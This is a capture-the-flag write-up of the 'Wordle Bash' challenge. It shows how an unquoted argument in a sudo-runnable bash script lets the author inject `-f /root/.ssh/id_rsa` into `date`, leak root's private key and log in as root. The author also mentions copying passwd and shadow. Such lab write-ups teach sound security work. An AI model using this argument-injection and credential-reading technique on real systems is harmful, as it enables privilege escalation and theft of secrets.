Wordle Bash

Writeup by Speer
Category: Miscellaneous

Author: JohnHammond

Description

We put a new novel spin on the old classic game of Wordle! Now it's written in bash! :D

Oh, and you aren't guessing words, this time...

Connecting to the remote host I see a `wordle_bash.sh` file in the current directory.

Contents of `wordle_bash.sh`

```
#!/bin/bash

YEARS=("2020" "2021" "2022" "2023" "2024" "2025")
MONTHS=("01" "02" "03" "04" "05" "06" "07" "08" "09" "10" "11" "12"
)
DAYS=("01" "02" "03" "04" "05" "06" "07" "08" "09" "10" "11" "12"
"13" "14" "15" "16" "17" "18" "19" "20" "21" "22" "23" "24" "25"
"26" "27" "28" "29" "30" "31")

YEARS_SIZE=${#YEARS[@]}
YEARS_INDEX=$(($RANDOM % $YEARS_SIZE))
YEAR=${YEARS[$YEARS_INDEX]}

MONTHS_SIZE=${#MONTHS[@]}
MONTHS_INDEX=$(($RANDOM % $MONTHS_SIZE))
MONTH=${MONTHS[$MONTHS_INDEX]}

DAYS_SIZE=${#DAYS[@]}
DAYS_INDEX=$(($RANDOM % $DAYS_SIZE))
DAY=${DAYS[$DAYS_INDEX]}

TARGET_DATE="${YEAR}-${MONTH}-${DAY}"

gum style \
  --foreground 212 --border-foreground 212 --border double \
```

```
  --align center --width 50 --margin "1 2" --padding "2 4" \
  'WORDLE DATE' 'Uncover the correct date!'

echo "We've selected a random date, and it's up to you to guess
it!"

wordle_attempts=1
while [ $wordle_attempts -le 5 ]
do
  echo "Attempt $wordle_attempts:"
  echo "Please select the year you think we've chosen:"
  chosen_year=$(gum choose ${YEARS[@]})

  echo "Now, enter the month of your guess: "
  chosen_month=$(gum choose ${MONTHS[@]})

  echo "Finally, enter the day of your guess: "
  chosen_day=$(gum choose ${DAYS[@]})

  guess_date="$chosen_year-$chosen_month-$chosen_day"

  if ! date -d $guess_date; then
    echo "Invalid date! Your guess must be a valid date in the
format YYYY-MM-DD."
    exit
  fi

  confirmed=1
  while [ $confirmed -ne 0 ]
  do
    gum confirm "You've entered '$guess_date'. Is that right?"
    confirmed=$?
    if [[ $confirmed -eq 0 ]]
    then
      break
    fi
    echo "Please select the date you meant:"
    guess_date=$(gum input --placeholder $guess_date)
  done

  if [[ $(date $guess_date) == $(date -d $TARGET_DATE +%Y-%m-%d)
]]; then
    gum style \
      --foreground 212 --border-foreground 212 --border double \
      --align center --width 50 --margin "1 2" --padding "2 4" \
      "Congratulations, you've won! You correctly guessed the
```

```
date!" 'Your flag is:' $(cat /root/flag.txt)
    exit 0
  else
    echo "Sorry, that wasn't correct!"
    echo "======================================="
  fi

  wordle_attempts=$((wordle_attempts+1))
done

gum style \
  --foreground 212 --border-foreground 212 --border double \
  --align center --width 50 --margin "1 2" --padding "2 4" \
  "Sorry, you lost." "The correct date was $TARGET_DATE."
```

So I can see the flag.txt is in the root directory. I will want to run this script with higher privileges.

I ran `sudo -l` and saw:

```
user@wordle:~$ sudo -l
...
User user may run the following commands on wordle-bash-
524092454166489e-7c5d44fd74-sj2zj:
    (root) /home/user/wordle_bash.sh
```

The bit that stands out is what appears to be a section I can put arbitrary input:

```
echo "Please select the date you meant:"                    Bash
    guess_date=$(gum input --placeholder $guess_date)
  done

  if [[ $(date $guess_date)...
```

There is no option in front of the `date` command so I can fill this out myself. Looking at the `help` for `date` I see it can take a file with `-f`. I was also aware of this before from GTFOBins.
so I gave `-f /root/flag.txt`:

```
  ╔═══════════════════════════════════════════════════╗
  ║                                                   ║
  ║                                                   ║
  ║                   WORDLE DATE                     ║
  ║              Uncover the correct date!            ║
```

```
  ╠                                                                  ╣
  ╠                                                                  ╣
  ╚══════════════════════════════════════════════════════════════════╝


We've selected a random date, and it's up to you to guess it!
Attempt 1:
Please select the year you think we've chosen:
Now, enter the month of your guess:
Finally, enter the day of your guess:
Wed Jan  1 00:00:00 UTC 2020
Please select the date you meant:
date: invalid date '[ Sorry, your flag will be displayed once you
have code execution as root ]'
```

Troll flag. The contents of `/root/flag.txt` was `[ Sorry, your flag will be displayed once you have code execution as root ]`

I admittedly copied `passwd` and `shadow` before I caught myself and looked for a root `id_rsa` file in `/root/.ssh`

```
 ====================================
Attempt 2:
Please select the year you think we've chosen:
Now, enter the month of your guess:
Finally, enter the day of your guess:
Wed Jan  1 00:00:00 UTC 2020
Please select the date you meant:

You've entered '-f /root/.ssh/id_rsa'. Is that right?
```

It outputted the errors with the contents of the `id_rsa` file.

I tidied it up, `chmod 600 id_rsa` then logged in to root with `ssh -p <PORT> root@challenge.nahamcon.com -i id_rsa`

```
 $ ssh -p 30722 root@challenge.nahamcon.com -i id_rsa

root@wordle:~# ls
flag.txt  get_flag_random_suffix_345674837560870345
root@wordle:~# ./get_flag_random_suffix_345674837560870345
Please press Enter within one second to retrieve the flag.

flag{2b9576d1a7a631b8ce12595f80f3aba5}
```